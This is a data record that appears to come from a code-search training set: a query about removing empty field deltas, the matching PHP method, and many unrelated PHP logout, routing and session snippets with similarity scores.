"public function _route()\n\t{\n\t\tif(self::lock('ban'))\n\t\t{\n\t\t\tself::error_page('ban');\n\t\t\treturn;\n\t\t}\n\t}",
"public function afterExecuteRoute() {\n if ($this->dispatcher->isFinished() && $this->dispatcher->wasForwarded())\n return;\n\n parent::afterExecuteRoute();\n }",
"#[Route('/logout', name: 'user_logout', methods: ['GET', 'POST'])]\n public function logout(): void\n {\n }",
"private function _logout(){\r\n $auth = new AuthenticationService();\r\n\r\n if ($auth->hasIdentity()) {\r\n // Identity exists; get it\r\n $auth->clearIdentity();\r\n $this->user = false;\r\n\r\n header('Location: '.WEBROOT ) ;\r\n }\r\n }",
"public function closed_opportunities() {\n\t\tif($this->session->userdata('uid')){\n\t\t\ttry{\n\t\t\t\t$user_id = $this->session->userdata('uid');\n\t\t\t\t$data = $this->opp_common->fetch_userPrivilages($user_id);\n\t\t\t\t$this->load->view('sales_opportunity_closed', $data);\n\t\t\t } catch (LConnectApplicationException $e){\n\t\t\t\techo $this->exceptionThrower($e);\n\t\t\t}\n\t\t}else{\n\t\t\tredirect('indexController');\n\t\t}\n\t}",
"public function redirectUnauthenticatedUser(){\n if(!$this->isAuthenticated() )\n $this->logout();\n }",
"public function getUserLogout() {\n\t\tSentry::logout();\n\t\t//then, we return to the index route with a success message\n\t\treturn Redirect::route('user_login')\n\t\t\t\t->with('page','login')\n\t\t\t\t->with('pageTitle','Đăng nhập')\n\t\t\t\t->with('success','You\\'ve successfully signed out');\n\t}",
"static function reverseGatekeeper() {\n if (loggedIn()) {\n new SystemMessage(translate(\"system_message:must_be_logged_out\"));\n forward(\"home\");\n\n return false;\n }\n return true;\n }",
"private function _logout(){\n\t\tredirect('/', 'refresh');\n\t\treturn;\n\t}",
"function rpc_logout($user) {\n\n}",
"function userLougout(){\n userDestroy();\n\n //puis on ce redire vers l'accueil\n redirect('index.php');\n}",
"public function appEnd()\n {\n }",
"public function appEnd()\n {\n }",
"public function closeUser()\n {\n $this->isUser = false;\n }",
"protected function closed ($user) {\n }",
"function _route()\n\t{\n\t\t// if the user login redirect to base\n\t\tif(\\lib\\permission::access('enter:another:session'))\n\t\t{\n\t\t\t// the admin can login by another session\n\t\t\t// never redirect to main\n\t\t}\n\t\telse\n\t\t{\n\t\t\tparent::if_login_not_route();\n\t\t}\n\n\t\t// check remeber me is set\n\t\t// if remeber me is set: login!\n\t\tparent::check_remember_me();\n\n\t\t// save all param-* | param_* in $_GET | $_POST\n\t\t$this->save_param();\n\n\t\tif(self::get_request_method() === 'get')\n\t\t{\n\t\t\t$this->get(false, 'enter')->ALL();\n\t\t}\n\t\telseif(self::get_request_method() === 'post')\n\t\t{\n\t\t\t$this->post('enter')->ALL();\n\t\t}\n\t\telse\n\t\t{\n\t\t\tself::error_method('home');\n\t\t}\n\t}",
"protected function end_bulk_operation(){\n\t\twpcom_vip_end_bulk_operation();\n\t}",
"public function action_index() {\n\t\tUser::current()->logout();\n\t}",
"public function routeShutdown (Zend_Controller_Request_Abstract $request) {\n\t\tif ( $request->getControllerName() == 'topics' && $request->getActionName() == 'view' ) {\n\t\t\t$topics = $this->getTopicMap();\n\t\t\tif (isset($topics[$request->getParam('topic')])) {\n\t\t\t\t$response = $this->getResponse();\n\t\t\t\t$response->setRedirect($topics[$request->getParam('topic')]);\n\t\t\t\t$response->sendResponse();\n\t\t\t\texit;\n\t\t\t}\n\t\t} \n\t}",
"function autoRoute($capno){\r\n\t\t// Also use in the autorouting procedure to get if within his range\r\n\r\n\t\t//Takes in the highest capno pass in the view\r\n\t\t\r\n\t\t//Fetch the Main Borrower\r\n\t\t$accnt = new Model_BorrowerAccount();\r\n\t\t//Fetch the Main Borrower\r\n\t\t$accntdetail = $accnt->fetchRowModel(capnosep($capno).'0'.capnorecon($capno));\r\n\t\t//Fetch the Highest Capno\r\n\t\t$modeldetail = $accnt->fetchRowModel($capno);\t\t\r\n\t\t\r\n\t\tif($accntdetail->routetag){\r\n\t\t\t// routetag exist suppose to be in autorouting\r\n\t\t\t$routetag = $accntdetail->routetag;\r\n\t\t} \r\n\t\telse {\r\n // if it does not exist\tnot yet submitted by CO so route is not stamp\t\r\n\t\t\t// upon implementation route does not exist\r\n\t\t\t$scoretag = $this->_view->viewScore($accntdetail->score,$modeldetail->capno,'view');\r\n\t\t\t$autoroute = Zend_Controller_Action_HelperBroker::getStaticHelper('AutoRoute');\r\n\t\t\t$routetag = $autoroute->direct($accntdetail->capno,$scoretag);\r\n\t\t}\r\n\t\t\r\n\t\t$user = Zend_Auth::getInstance()->getIdentity();\r\n\t $userRole = '-'.$user->role_type;\r\n\t\t\r\n\t\tif($user->role_type == 'PRES'){\r\n\t\t\r\n\t\t\tif(strpos($routetag,'-PRES') === false){\r\n\t\t\t$counter = $counter+0;\t\r\n\t\t\t}else {\r\n\t\t\t$counter = $counter+1;\r\n\t\t\t}\r\n\t\t\r\n\t\t\tif(strpos($routetag,'-CMGH') === false){\r\n\t\t\t$counter = $counter+0;\t\r\n\t\t\t}else {\r\n\t\t\t$counter = $counter+1;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tif(strpos($routetag,'-EXE-BOD') === false){\r\n\t\t\t$counter = $counter+0;\t\r\n\t\t\t}else {\r\n\t\t\t$counter = $counter+0;\r\n\t\t\t}\t\t\t\r\n\t\t\t\r\n\t\t\tif(strpos($routetag,'-CRECOM') === false){\r\n\t\t\t$counter = $counter+0;\t\r\n\t\t\t}else {\r\n\t\t\t$counter = $counter+1;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tif(strpos($routetag,'-SUBCRECOM') === false){\r\n\t\t\t$counter = $counter+0;\t\r\n\t\t\t}else {\r\n\t\t\t$counter = $counter+1;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tif($counter >= 1){\r\n\t\t\t\treturn true;\r\n\t\t\t}else{\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\r\n\t\t}\r\n\t\t\r\n\t\telse if($user->role_type == 'CORPSEC'){\r\n\t\t\t\r\n\t\t\tif(strpos($routetag,'-EXE-BOD') === false){\r\n\t\t\t$counter = $counter+0;\t\r\n\t\t\t}else {\r\n\t\t\t$counter = $counter+1;\r\n\t\t\t}\t\t\t\r\n\t\t\t\r\n\t\t\tif($counter >= 1){\r\n\t\t\t\treturn true;\r\n\t\t\t}else{\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\r\n\t\t}\r\n\t\t\r\n\t\telse if($user->role_type == 'CMGH'){\r\n\t\t\t//will pass and go to PRES\r\n\t\t\t\treturn false;\r\n\t\t}\r\n\t\telse {\r\n\t\t\t//CO & CSH\r\n\t\t// Check if the string contains the current approval base on the\r\n\t\t// routeTag\r\n\t\tif(strpos($routetag,$userRole) === false){\r\n\t\treturn false;\t\r\n\t\t}else {\r\n\t\treturn true;\r\n\t\t}\r\n\t\t\r\n\t\t}//end of else \r\n\t\t\r\n\t\t\r\n/*\r\n\r\n\t\t$accnt = new Model_BorrowerAccount();\r\n\t\t$select = $accnt->select();\r\n\t\t$select->where('capno like ?',$capno);\r\n\t\t$accntdetail = $accnt->fetchRow($select);\r\n\t\t\r\n\t\t$deviation = $accntdetail->deviation;\r\n\t\t$loanAmount = $accntdetail->amountloan;\r\n\r\n\t\t$scoretag = Zend_Controller_Action_HelperBroker::getStaticHelper('scoreTag');\r\n\t\t$score = $scoretag->direct($accntdetail->score,$accntdetail->empbus_status);\r\n\t\r\n\t\r\n\tif($userRole == 'CO'){\t\r\n\r\n\t\tif(!$deviation){\r\n\t\tif (($score == 'P1') && ($loanAmount <= 760000)){\r\n\t\treturn true;\r\n\t\t}\r\n\t\telse if (($score == 'P2') && ($loanAmount <= 912000)){\r\n\t\treturn true;\r\n\t\t} \r\n\t\r\n\t\telse {\r\n\t\treturn false;\r\n\t\t}\r\n\t\t}// end of Deviation\r\n\t\telse {\r\n\t\t//if the application has deviation pass to the next level as \r\n\t\t//CO cant approve accoutns with Deviation\r\n\t\treturn false;\r\n\t\t}\r\n\r\n\t}\r\n\tif($userRole == 'CSH'){\t\r\n\t\r\n\tif(!$deviation){\r\n\t\t//Without Deviation\r\n\t\tif (($score == 'P1') && ($loanAmount <= 1000000)){\r\n\t\treturn true;\r\n\t\t}\r\n\t\telse if (($score == 'P2') && ($loanAmount <= 1200000)){\r\n\t\treturn true;\r\n\t\t}\r\n\t\telse if (($score == 'F1') && ($loanAmount <= 760000)){\r\n\t\treturn true;\r\n\t\t} \r\n\t\telse {\r\n\t\treturn false;\r\n\t\t}\r\n\t} // End of Without Deviation\r\n\telse {\r\n\t\tif (($score == 'P1') && ($loanAmount <= 760000)){\r\n\t\treturn true;\r\n\t\t}\r\n\t\telse if (($score == 'P2') && ($loanAmount <= 912000)){\r\n\t\treturn true;\r\n\t\t} \r\n\t\telse if (($score == 'F1') && ($loanAmount <= 760000)){\r\n\t\treturn true;\r\n\t\t} \r\n\t\telse {\r\n\t\treturn false;\t\r\n\t\t}\r\n\t}\r\n\t\r\n\t}// End of CSH\r\n\t\r\n\tif($userRole == 'CMGH'){\t\r\n\t\r\n\t\tif(!$deviation){\r\n\t\t\t//Without Deviation\r\n\t\t\tif (($score == 'P1') && ($loanAmount <= 1250000)){\r\n\t\t\treturn true;\r\n\t\t\t}\r\n\t\t\telse if (($score == 'P2') && ($loanAmount <= 1500000)){\r\n\t\t\treturn true;\r\n\t\t\t}\r\n\t\t\telse if (($score == 'F1') && ($loanAmount <= 1000000)){\r\n\t\t\treturn true;\r\n\t\t\t} \r\n\t\t\telse if (($score == 'F2') && ($loanAmount <= 760000)){\r\n\t\t\treturn true;\r\n\t\t\t} \r\n\t\t\telse {\r\n\t\t\treturn false;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t}\r\n\t\telse{\r\n\t\t\t//With Deviation\r\n\t\t\tif (($score == 'P1') && ($loanAmount <= 1000000)){\r\n\t\t\treturn true;\r\n\t\t\t}\r\n\t\t\telse if (($score == 'P2') && ($loanAmount <= 1200000)){\r\n\t\t\treturn true;\r\n\t\t\t}\r\n\t\t\telse if (($score == 'F1') && ($loanAmount <= 1000000)){\r\n\t\t\treturn true;\r\n\t\t\t}\r\n\t\t\telse if (($score == 'F2') && ($loanAmount <= 760000)){\r\n\t\t\treturn true;\r\n\t\t\t} \t\t\t \r\n\t\t\telse {\r\n\t\t\treturn false;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t}\r\n\r\n\t\t}//End of CMHG\r\n\tif($userRole == 'PRES'){\t\t\r\n\t\tif(!$deviation){\r\n\t\t\t//Without Deviation\r\n\t\t\tif (($score == 'P1') && ($loanAmount <= 1500000)){\r\n\t\t\treturn true;\r\n\t\t\t}\r\n\t\t\telse if (($score == 'P2') && ($loanAmount <= 1800000)){\r\n\t\t\treturn true;\r\n\t\t\t}\r\n\t\t\telse if (($score == 'F1') && ($loanAmount <= 1250000)){\r\n\t\t\treturn true;\r\n\t\t\t} \r\n\t\t\telse if (($score == 'F2') && ($loanAmount <= 1000000)){\r\n\t\t\treturn true;\r\n\t\t\t} \r\n\t\t\telse if (($score == 'F3') && ($loanAmount <= 760000)){\r\n\t\t\treturn true;\r\n\t\t\t} \r\n\t\t\telse {\r\n\t\t\treturn false;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t\r\n\t\t}\r\n\t\t\r\n\t\telse {\r\n\t\t\t//With Deviation\r\n\t\t\tif (($score == 'P1') && ($loanAmount <= 1250000)){\r\n\t\t\treturn true;\r\n\t\t\t}\r\n\t\t\telse if (($score == 'P2') && ($loanAmount <= 1500000)){\r\n\t\t\treturn true;\r\n\t\t\t}\r\n\t\t\telse if (($score == 'F1') && ($loanAmount <= 1250000)){\r\n\t\t\treturn true;\r\n\t\t\t} \r\n\t\t\telse if (($score == 'F2') && ($loanAmount <= 1000000)){\r\n\t\t\treturn true;\r\n\t\t\t} \r\n\t\t\telse if (($score == 'F3') && ($loanAmount <= 760000)){\r\n\t\t\treturn true;\r\n\t\t\t} \r\n\t\t\r\n\t\t}\r\n\t\t\r\n\t\t} \r\n\t\t*/\r\n\t}",
"public function logoutAction()\n\t{\n\t\tZend_Auth::getInstance()->clearIdentity();\n\t\t$this->_redirect('https://strobe.uwaterloo.ca/cpadev/kiwi/user/out?__kiwi_referer__='\n\t\t\t\t\t\t\t\t. $_SERVER[\"HTTP_REFERER\"]);\n\t}",
"public function logoutAction() {\n\t\t$this->logOut();\n\t\t$this->forward(ChibiRegistry::getHelper('url')->url(''));\n\t}",
"function beforeroute($f3) {\n\t\t$f3->set('success_msg', array());\n\t\t$f3->set('warning_msg', array());\n\t\t$f3->set('error_msg', array());\n\t\t$f3->set('info_msg', array());\n\t\n\t\t$path = $f3->get('PATH');\n\t\tif (preg_match('/user\\/(create|register)/', $path)) {\n\t\t\treturn;\n\t\t}\t\n\t\t#if (preg_match('/standings(\\/)?$/', $path)) {\n\t\t#\treturn;\n\t\t#}\t\n\t\t\n\t\t## bypass the /login page for allowed 'guest' routes\n\t\tif ($this->guestAccessAllowed($path)) {\n\t\t\t\n\t\t}\n\t\tif (!$f3->exists('SESSION.user_id')) {\n\t\t\t$f3->reroute('/login');\n\t\t\treturn;\n\t\t}\n\t\tparent::beforeroute($f3);\n\t\t\t\t\t\n\t\tif ($this->user) {\n\t\t\t$this->user->visits++;\n\t\t\t$this->user->save();\n\t\t}\t\n\t\t\n\t\t$this->prepareUserMenu($f3);\n\t}",
"public function closeUser ()\n\t{\n\t\t$this->_username = null;\n\t}",
"public function action_logout(){\n\t\tAuth::instance()->logout();\n \n\t\t#redirect to the user account and then the signin page if logout worked as expected\n\t\tHTTP::redirect('/');\t\n\n\t}",
"function beforeroute() {\r\n \r\n }",
"public function logout() {\n $this->_disconnect_user();\n redirect(base_admin_url('identification'), 'refresh');\n }",
"protected function isUserInvoiceOutgoing()\n {\n return $this->getUserInvoice()->direction === InvoiceDirections::OUTGOING;\n }",
"function _route()\n\t{\n\n\t\t// if this step is locked go to error page and return\n\t\tif(self::lock('pass/recovery'))\n\t\t{\n\t\t\tself::error_page('pass/recovery');\n\t\t\treturn;\n\t\t}\n\n\t\t// parent::_route();\n\t\t$this->get('pass')->ALL('pass/recovery');\n\t\t$this->post('pass')->ALL('pass/recovery');\n\t}",
"public function logout()\n {\n// var_dump(auth()->user()->email); die();\n// $this->setBindExchangeRabbitMQ(auth()->user()->email, 'unbind');\n\n auth()->logout();\n\n return response()->json(['message' => 'Successfully logged out']);\n }",
"public function logout_userRest()\n {\n return $this->call_method(\"logout/userRest\",\n array()\n );\n }",
"public function end();",
"public function end();",
"public function end();",
"public function end();",
"public function routeShutdown(Zend_Controller_Request_Abstract $request)\n {\n\n }",
"public function logout(){\r\n if(isset($_SESSION['user'])){\r\n session_destroy();\r\n header('Location:'.ROUTE);\r\n }\r\n }",
"function end_amy_request()\n\t{\n\t\tDb::close_connection();\n\t}",
"public function callbackFail()\n {\n $this->di->get(\"response\")->redirect(\"user\")->send();\n }",
"public function forUsersMachine()\n {\n $this->router->group(['middleware' => 'token:user'], function ($router) {\n $router->post('/post.add.machine', ['uses' => 'UsersMachineController@addMachine']);\n $router->post('/post.extend.machine', ['uses' => 'UsersMachineController@extendMachine']);\n $router->get('/get.user.team', ['uses' => 'UsersMachineController@team']);\n });\n $this->router->group(['middleware' => 'token:client'], function ($router) {\n $router->get('/get.lottery.result', ['uses' => 'UsersMachineController@getLotteryResult']);\n $router->post('/post.lottery.result', ['uses' => 'UsersMachineController@recordLotteryResult']);\n });\n }",
"public function actionLogout() {\n //validate webservice\n $requiredParams = ['user_id'];\n\n CommonApiHelper::validateRequestParameters($requiredParams);\n\n try {\n $post = Yii::$app->request->bodyParams;\n $post = array_map('trim', $post);\n $user_id = $post['user_id'];\n $access_token = Yii::$app->request->headers->get('access_token');\n\n //Find user details.\n $modelUser = Users::findOne(['user_id' => $user_id]);\n\n //Find user access token\n $UsersAccessToken = UsersAccessTokens::findOne(['user_id' => $user_id, 'access_token' => $access_token]);\n\n //Make user access_token, device_type, device_token make empty to make user logout.\n if (!empty($modelUser)) {\n //Remove user access token\n if (!empty($UsersAccessToken)) {\n $UsersAccessToken->delete();\n }\n return CommonApiHelper::return_success_response(\"You have succefully logged out.\", \"\", []);\n } else {\n return CommonApiHelper::return_error_response('Sorry, Please try again.');\n }\n } catch (\\Exception $e) {\n return CommonApiHelper::return_error_response('Sorry, Please try again.');\n }\n }",
"public function api_entry_signout() {\n parent::validateParams(array('user'));\n\n if (!$this->Mdl_Users->get($_POST[\"user\"])) parent::returnWithErr(\"User id is not valid.\");\n \n $this->Mdl_Users->signout($_POST[\"user\"]);\n\n parent::returnWithoutErr(\"Signout succeed.\");\n }",
"public function disconnetUser() {\n\t\tsession_start();\n\t\tunset($_SESSION['id_users']);\n\t\tunset($_SESSION['username']);\n\t\theader('Location: index.php');\n\t}",
"private static function rerouteCheck()\n {\n if ( ! Session::isValid()) {\n if (Session::hasTrainer()) {\n // we have a trainer but not a student\n self::computeImpliedRoute();\n } else {\n (new LoginTemplate())->display();\n }\n }\n }",
"public function logoutAction()\n {\n $userId = Zend_Auth::getInstance()->getIdentity();\n\n // Set up the auth adapter\n $authAdapter = new Ot_Model_DbTable_AuthAdapter();\n\n $adapter = $authAdapter->find($userId->realm);\n\n $className = (string)$adapter->class;\n $auth = new $className();\n $auth->autoLogout();\n\n Zend_Auth::getInstance()->clearIdentity();\n\n $this->_helper->redirector->gotoRoute(array(), 'default', true);\n\n }",
"public function after()\n\t{\t\n\t\tparent::after();\n\t\t\n\t\t/*\n\t\t * Clean up for the presentation\n\t\t */\n\t\t\n\t\t//logout\n\t\t$id = Auth::instance()->get_user()->id;\n\t\tRequest::factory(\n\t\t\t\tRoute::get('default')->uri(\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t'controller' \t=> 'user', \n\t\t\t\t\t\t\t\t'action' \t\t=> 'logout',\n\t\t\t\t\t\t\t\t'id' \t\t\t=> Coder::instance()->to_url($id)\n\t\t\t\t\t\t)\n\t\t\t\t)\n\t\t)\n\t\t->execute();\n\t\t//delete user\n\t\t$user = ORM::factory('User', $id);\n\t\t$user->delete();\n\t}",
"public function index()\n {\n LoginLogic::Logout($this->Session);\n\n $this->redirect(\"/partner?\");\n }",
"protected function closed($user)\n\t{\n\t}",
"public function finish()\n {\n parent::finish();\n \n // only allow higher than first tier roles to make direct calls\n $this->set_variable( 'allow_connect',\n 1 < lib::create( 'business\\session' )->get_role()->tier );\n $this->set_variable( 'sip_enabled',\n lib::create( 'business\\voip_manager' )->get_sip_enabled() );\n\n foreach( $this->get_record_list() as $record )\n {\n $this->add_row( $record->id,\n array( 'active' => $record->active,\n 'rank' => $record->rank,\n 'type' => $record->type,\n 'number' => $record->number ) );\n }\n\n $this->finish_setting_rows();\n }",
"public function actionLogout()\n\t{\n $userid = Yii::app()->user->userUuid;\n $map = AcUsers::model()->findByAttributes(array('userUuid'=>$userid));\n $user = $map->email;\n\n date_default_timezone_set('Africa/Kampala');\n $today = date(\"Y-m-d H:i:s\");\n\n Yii::app()->user->logout();\n\n $logger = AcUserSignIn::model()->findByAttributes(array('userUuid'=>$userid));\n $sign_in = $logger->userSignInUuid;\n\n $l = uniqid('',true);\n $log = new AcUserSignOut();\n $log->userSignOutUuid = $l;\n $log->userSignInUuid = $sign_in;\n $log->save(false);\n\n\n\t\t$this->redirect(Yii::app()->homeUrl);\n\t}",
"function beforeroute(){\n }",
"function beforeroute(){\n }",
"function logout() \n\t{\n // Specify the navigation column's path so we can include it based\n // on the action being rendered\n $this->viewData['navigationPath'] = $this->getNavigationPath('admin');\n \n\t\tUser::Logout();\n // Render the action with template\n $this->renderWithTemplate('users/login', 'MemberPageBaseTemplate');\n }",
"public function end() {}",
"public function end() {}",
"public function end() {}",
"function user_action_logout($env, $vars) {\n $user = UserFactory::current($env, TRUE);\n $logout = $user->logOut();\n exit($logout);\n}",
"abstract protected function closed($user);",
"abstract protected function closed($user);",
"public function actionLogout()\n\t{\n\t\t$pk = Yii::app()->user->id;\n\t\tif(Yii::app()->hybridAuth->getConnectedProviders()){\n Yii::app()->hybridAuth->logoutAllProviders();\n }\t\t\n\t\t//Update Login Status\n\t\t$attributes = array(\"user_online_flag\"=>'0');\n\t\t$condition = 'user_id = :id';\n\t\t$params = array(':id'=>$pk);\n\t\tUsers::model()->updateByPk($pk,$attributes,$condition,$params);\t\t\n\t\tYii::app()->user->logout();\n\t\t$this->redirect(Yii::app()->homeUrl);\n\t}",
"public function _logout()\n {\n $this->_login( self::getGuestID() );\n }",
"public function logoutAction() {\n $auth = Zend_Auth::getInstance();\n $auth->clearIdentity();\n //redirect user\n $this->_helper->redirector->goToRouteAndExit(array(), 'admin-login');\n }",
"public function dispatchLoopShutdown()\n {\n if(!FrontController::getInstance()->getRequest()->isXmlHttpRequest()){\n //limpio la informacion anterior y guardo la nueva\n $this->limpiarHistorial()\n ->guardarVista();\n }\n }",
"public function routerShutdown(\\Yaf\\Request_Abstract $request, \\Yaf\\Response_Abstract $response) {\n\t\tif ($request->controller == 'Ads') {\n\n \\Yaf\\Registry::set('__REQUEST', \\Process\\RequestModel::get($request->method, $_SERVER['REQUEST_URI']));\n\n }\n\t\t//PRETREATMENT REQUEST END <--\n\n\t}",
"public static function ignoreRoutes()\n {\n static::$registersRoutes = false;\n }",
"public function endConversation() {\n\t $this->expectUserResponse = false;\n }",
"public function cancelRequest(){\n //the other users Id\n $otherUserId = $_POST[\"otherUserId\"];\n //deletes the record in the database\n $this->individualGroupModel->cancelGroupRequestInvitation($otherUserId); \n //redirects\n $path = '/IndividualGroupController/individualGroup?groupId=' . $_SESSION['current_group']; \n redirect($path);\n }",
"function user_logging_out($user_id) {\n \n }",
"public function actionLogout() {\r\n\t\t$this->redirect(array('//user/auth/logout'));\r\n\t}",
"public function route_logout() {\n\t\t$core = self::$core;\n\t\t$retval = self::$ctrl->logout();\n\t\tif ($retval[0] === 0) {\n\t\t\t$core::send_cookie_with_opts($this->token_name, '', [\n\t\t\t\t'path' => '/',\n\t\t\t\t'expires' => 1,\n\t\t\t\t'httponly' => true,\n\t\t\t\t'samesite' => 'Lax',\n\t\t\t]);\n\t\t}\n\t\treturn $core::pj($retval);\n\t}",
"public static function logoutUser()\n\t{\n\t wp_logout();\n\t\twp_send_json_success();\n\t}",
"public function unsubscribeToOrgAction()\n {\n $request = $this->getRequest();\n $orgId = urldecode($request->getParam('org'));\n\n $allowedOrganizations = $this->currentUser->getAllowedOrganizations();\n if ((! $this->currentUser->isActive()) || isset($allowedOrganizations[$orgId])) {\n $this->currentUser->setCurrentOrganization($orgId);\n }\n\n $this->forward('unsubscribe');\n }",
"function remove_users_endpoint( $endpoints ) {\n\t\tif ( $this->config[\"rest\"][\"disable_users\"] ) {\n\t\t\tif ( isset( $endpoints['/wp/v2/users'] ) ) {\n\t\t\t\tunset( $endpoints['/wp/v2/users'] );\n\t\t\t}\n//\t\t\tif ( isset( $endpoints['/wp/v2/users/(?P<id>[\\d]+)'] ) ) {\n//\t\t\t\tunset( $endpoints['/wp/v2/users/(?P<id>[\\d]+)'] );\n//\t\t\t}\n\t\t}\n\n\t\treturn $endpoints;\n\t}",
"protected function closed ($user)\n\t\t{\n\t\t\techo \"User closed connectionn\";\n\t\t}",
"function b2c_logout() {\n\ttry {\n\t\t$signout_endpoint = b2c_get_logout_endpoint();\n\t\tif ( $signout_endpoint ) {\n\t\t\twp_redirect( $signout_endpoint );\n\t\t}\n\t} catch ( Exception $e ) {\n\t\techo $e->getMessage();\n\t}\n\texit;\n}",
"function stopsimulate() {\n $this->auth(SUPPORT_ADM_LEVEL);\n $this->_stopsimulate();\n redirect('/mypage');\n }",
"public function logoutAction()\n\t{\n\t\t$this->getUserService()->logout();\n\t\t\n\t\tif ($url = $this->params()->fromQuery('r', false))\n\t\t\treturn $this->redirect()->toUrl($url);\n\n\t\treturn $this->redirect()->toRoute($this->getLogoutRoute());\n\t}",
"public function onLogout()\n {\n \n }",
"public function executeLogout() {\n $this->logMessage(\"Logout\", 'debug');\n $this->getUser()->clearCredentials();\n $this->getUser()->setAuthenticated(false);\n $this->redirect('default/index');\n }",
"public function logout()\n {\n $processReaction = $this->userEngine->processLogout();\n\n return redirect()->route('user.login');\n }",
"public function logoutAction()\n {\n throw new \\Exception('This should never be reached!');\n }",
"public function logout() {\r\n \r\n // signal any observers that the user has logged out\r\n $this->setState(\"logout\");\r\n }",
"public function onGetAllUsers()\n {\n $this->logger->info(\"\\Entering \" . substr(strrchr(__METHOD__, \"\\\\\"), 1));\n try {\n // Creates an account business service\n $bs = new AccountBusinessService();\n \n // Calls the getAllUsers bs method\n // flag is array\n $flag = $bs->getAllUsers();\n\n // If flag is empty, return error page\n if (empty($flag)) {\n $this->logger->info(\"/Exiting \" . substr(strrchr(__METHOD__, \"\\\\\"), 1) . \" to error view. Flag: \" . $flag);\n $data = [\n 'process' => \"Get All Users\",\n 'back' => \"home\"\n ];\n return view('error')->with($data);\n }\n\n // Passes array of users to allUsers view\n $data = [\n 'allUsers_array' => $flag\n ];\n $this->logger->info(\"/Exiting \" . substr(strrchr(__METHOD__, \"\\\\\"), 1) . \" to allUsers view\");\n return view('allUsers')->with($data);\n } catch (Exception $e) {\n $this->logger->error(\"Exception \", array(\n \"message\" => $e->getMessage()\n ));\n $data = [\n 'errorMsg' => $e->getMessage()\n ];\n $this->logger->info(\"/Exiting \" . substr(strrchr(__METHOD__, \"\\\\\"), 1) . \" to exception view\");\n return view('exception')->with($data);\n }\n }"
] | [
"0.6456424",
"0.62054145",
"0.5745127",
"0.56627774",
"0.56020105",
"0.556851",
"0.55160546",
"0.55078465",
"0.5480272",
"0.5473596",
"0.5458576",
"0.5435905",
"0.5408202",
"0.54058206",
"0.5404921",
"0.53587425",
"0.53377813",
"0.5302905",
"0.526249",
"0.5246392",
"0.523454",
"0.5226161",
"0.52242565",
"0.52241665",
"0.5215942",
"0.51840615",
"0.51707387",
"0.5168402",
"0.51611555",
"0.51611555",
"0.5151404",
"0.5150103",
"0.51361394",
"0.5133363",
"0.5130679",
"0.51276624",
"0.51223385",
"0.5119501",
"0.5119361",
"0.5109411",
"0.5095697",
"0.5095681",
"0.5094774",
"0.50892574",
"0.5085369",
"0.50807333",
"0.50764316",
"0.50568575",
"0.5054102",
"0.5054102",
"0.5054102",
"0.5054102",
"0.5051529",
"0.505142",
"0.5049058",
"0.50403404",
"0.50389904",
"0.50218546",
"0.50209576",
"0.5019716",
"0.501887",
"0.501529",
"0.5005265",
"0.49906158",
"0.4988755",
"0.49873853",
"0.4986666",
"0.49830458",
"0.49830458",
"0.49824953",
"0.4969174",
"0.4969174",
"0.4969174",
"0.49556878",
"0.49385956",
"0.49385956",
"0.493776",
"0.49342752",
"0.49303976",
"0.49263686",
"0.49257728",
"0.49139035",
"0.4910344",
"0.49053213",
"0.49000975",
"0.48990527",
"0.4892695",
"0.4892522",
"0.48923743",
"0.48836508",
"0.48823297",
"0.4875453",
"0.4862428",
"0.48618463",
"0.4855392",
"0.48498207",
"0.48441526",
"0.48393038",
"0.48377857",
"0.48365137"
] | 0.51803875 | 26 |
Remove any empty or illegal delta field values. | public function prepare($node, $row) {
EntityHelper::removeInvalidFieldDeltas('node', $node);
EntityHelper::removeEmptyFieldValues('node', $node);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function clean()\n\t{\n\t\tforeach ($this->dirtyFields AS $field)\n\t\t\t$this->cleanField($field);\n\t}",
"private function changelog_unset_unneeded_values () {\n\t\t# remove ip address fields\n\t\tif($this->object_type == \"ip_addr\") {\n\t\t\tunset(\t$this->object_new['subnet'],\n\t\t\t\t\t$this->object_new['type'],\n\t\t\t\t\t$this->object_new['section'],\n\t\t\t\t\t$this->object_new['ip_addr_old'],\n\t\t\t\t\t$this->object_new['nostrict'],\n\t\t\t\t\t$this->object_new['start'],\n\t\t\t\t\t$this->object_new['stop'],\n\t\t\t\t\t$this->object_new['ip'],\n\t\t\t\t\t$this->object_new['subnetvlan'],\n\t\t\t\t\t$this->object_new['addressId']\n\t\t\t\t\t);\n\t\t\tunset(\t$this->object_old['subnet'],\n\t\t\t\t\t$this->object_old['type'],\n\t\t\t\t\t$this->object_old['section'],\n\t\t\t\t\t$this->object_old['ip_addr_old'],\n\t\t\t\t\t$this->object_old['nostrict'],\n\t\t\t\t\t$this->object_old['start'],\n\t\t\t\t\t$this->object_old['stop'],\n\t\t\t\t\t$this->object_old['ip'],\n\t\t\t\t\t$this->object_old['subnetvlan'],\n\t\t\t\t\t$this->object_old['addressId']\n\t\t\t\t\t);\n # remove mac\n if ($this->object_action==\"add\") {\n unset ($this->object_new['mac_old'], $this->object_new['addressId']);\n }\n\t\t\t# reformat ip\n\t\t\tif (isset($this->object_old['ip_addr']))\t{ $this->object_old['ip_addr'] = $this->Subnets->transform_address ($this->object_old['ip_addr'],\"dotted\"); }\n\t\t\tif (isset($this->object_new['ip_addr']))\t{ $this->object_new['ip_addr'] = $this->Subnets->transform_address ($this->object_new['ip_addr'],\"dotted\"); }\n\n\t\t}\n\t\t# remove subnet fields\n\t\telseif($this->object_type == \"subnet\")\t{\n\t\t\t// remove unneeded 